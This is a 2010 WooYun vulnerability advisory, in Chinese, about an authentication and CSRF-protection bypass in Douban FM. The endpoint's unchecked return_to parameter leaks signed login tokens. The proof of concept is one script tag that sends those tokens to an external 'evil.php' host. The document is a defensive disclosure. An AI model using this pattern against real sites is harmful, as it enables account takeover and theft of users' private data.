漏洞概要 关注数(1) 关注此漏洞
缺陷编号： WooYun-2010-00198
漏洞标题： 豆瓣电台认证绕过及csrf防范策略绕过漏洞
相关厂商： 豆瓣
漏洞作者： 结界师
提交时间： 2010-08-16
公开时间： 2010-09-15
漏洞类型： 设计缺陷/逻辑错误
危害等级： 高
自评Rank： 20
漏洞状态： 厂商已经确认
漏洞来源： http://www.wooyun.org
Tags标签： 认证设计不合理 跨域敏感数据传输 csrf
漏洞详情
披露状态：
2010-08-16： 细节已通知厂商并且等待厂商处理中
2010-08-16： 厂商已经确认，细节仅向厂商公开
2010-08-26： 细节向核心白帽子及相关领域专家公开
2010-09-05： 细节向普通白帽子公开
2010-09-15： 细节向实习白帽子公开
2010-09-30： 细节向公众公开
简要描述：
豆瓣电台在实现认证的时候存在一些问题，导致可以绕过认证以及用来绕过其他的CSRF防范策略，可以被用来窃取其他用户隐私或者传播蠕虫或者利用系统功能进行其他活动。
详细说明：
豆瓣电台的认证如下：
http://www.douban.com/service/account/check_with_js?return_to=http://www.douban.fm
将返回内容
location.href='http://www.douban.fm?sig=67a2f068bc&response_nonce=1281936632&data=%2B%7C%81%21%D7%5D%AB%5B%AD%FCM%9F%0E%F75t0%2C%FFJ%8Fw%C6P%1A%B3F%16%A2%82%15%15%84%D4Vz%8C%9B%85g+%C3%C6%5D%FED9%96%84%D4Vz%8C%9B%85g+%C3%C6%5D%FED9%96&mode=id_res&return_to=http%3A%2F%2Fwww.douban.fm';
其中的sig将作为主要的认证，而直接访问该url将得到其他用户的权限，同时还可以得到豆瓣的CSRF的Token来绕过限制
漏洞证明：
<script src="http://www.douban.com/service/account/check_with_js?return_to=http://www.80sec.com/evil.php" from="80sec"></script>修复方案：
修改认证方案或者加强对访问url的校验
版权声明：转载请注明来源 结界师@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2010-08-16
厂商回复：
多谢！原来是有对return_to地址的检查的，可能在改版时漏掉了。会立即组织修复。
最新状态：
暂无
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
